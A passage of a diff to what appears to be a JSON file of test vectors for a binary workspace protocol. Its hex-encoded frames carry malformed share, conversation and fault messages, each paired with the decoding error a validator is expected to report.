a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "unknown_type" }, { "name": "bootstrap-fault-unknown-code", "direction": "up", - "hex": "574d58310101000001000000930000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", + "hex": "574d58310101000001000000930000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f706c616e227d", "error": "bad_field" }, { @@ -872,7 +977,7 @@ "name": "runtime-stream-four", "direction": "up", "hex": "574d58310102000001000000050000000004000041", - "error": "bad_field" + "error": "bad_direction" }, { "name": "runtime-flags-two", @@ -909,6 +1014,246 @@ "direction": "up", "hex": "574d583101020000010000000400000000020000", "error": "bad_field" + }, + { + "name": "bootstrap-version-one", + "direction": "up", + "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "bootstrap-version-three", + "direction": "down", + "hex": "574d583101010000020000007e0000007b2276223a332c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "version" + }, + { + "name": "runtime-file-in-travelling-up", + "direction": "up", + "hex": "574d583101020000030000000600000000040000780a", + "error": "bad_direction" + }, + { + "name": "runtime-file-out-travelling-down", + "direction": "down", + "hex": "574d583101020000030000000600000000050000780a", + "error": "bad_direction" + }, + { + "name": "runtime-stream-six", + "direction": "up", + "hex": "574d58310102000003000000050000000006000078", + "error": "bad_field" + }, + { + "name": "runtime-file-in-on-conversation-one", + "direction": "down", + "hex": "574d583101020000030000000600000001040000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-on-conversation-one", + "direction": "up", + "hex": "574d583101020000030000000600000001050000780a", + "error": "bad_field" + }, + { + "name": "runtime-file-out-empty-without-end", + "direction": "up", + "hex": "574d583101020000030000000400000000050000", + "error": "bad_field" + }, + { + "name": "shares-travelling-up", + "direction": "up", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "unknown_type" + }, + { + "name": "shares-mounted-travelling-down", + "direction": "down", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "error": "unknown_type" + }, + { + "name": "shares-empty-list", + "direction": "down", + "hex": "574d583101010000030000008b0000007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b5d7d", + "error": "bad_field" + }, + { + "name": "shares-thirteen", + "direction": "down", + "hex": "574d58310101000003000000090500007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-ten-folders", + "direction": "down", + "hex": "574d58310101000003000000e20300007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d32222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6630222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d33222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6631222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d34222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6632222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d35222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6633222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d36222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6634222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d37222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6635222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d38222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6636222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d39222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6637222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-tag", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-duplicate-guest-path", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-uppercase", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a225372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-tag-thirty-three", + "direction": "down", + "hex": "574d583101010000030000007d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a22616161616161616161616161616161616161616161616161616161616161616161222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-guidance-writable", + "direction": "down", + "hex": "574d58310101000003000000620200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a66616c73652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-memory-read-only", + "direction": "down", + "hex": "574d58310101000003000000600200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-outputs-wrong-mount", + "direction": "down", + "hex": "574d58310101000003000000630200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f78222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-nested-mount", + "direction": "down", + "hex": "574d58310101000003000000670200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-folder-outside-folders", + "direction": "down", + "hex": "574d583101010000030000005f0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f7265706f732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-two-memory", + "direction": "down", + "hex": "574d58310101000003000000680200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6d656d6f72792d32222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-unknown-kind", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a2273637261746368227d5d7d", + "error": "bad_field" + }, + { + "name": "shares-extra-key", + "direction": "down", + "hex": "574d583101010000030000006d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473222c22646178223a66616c73657d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-runtime-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f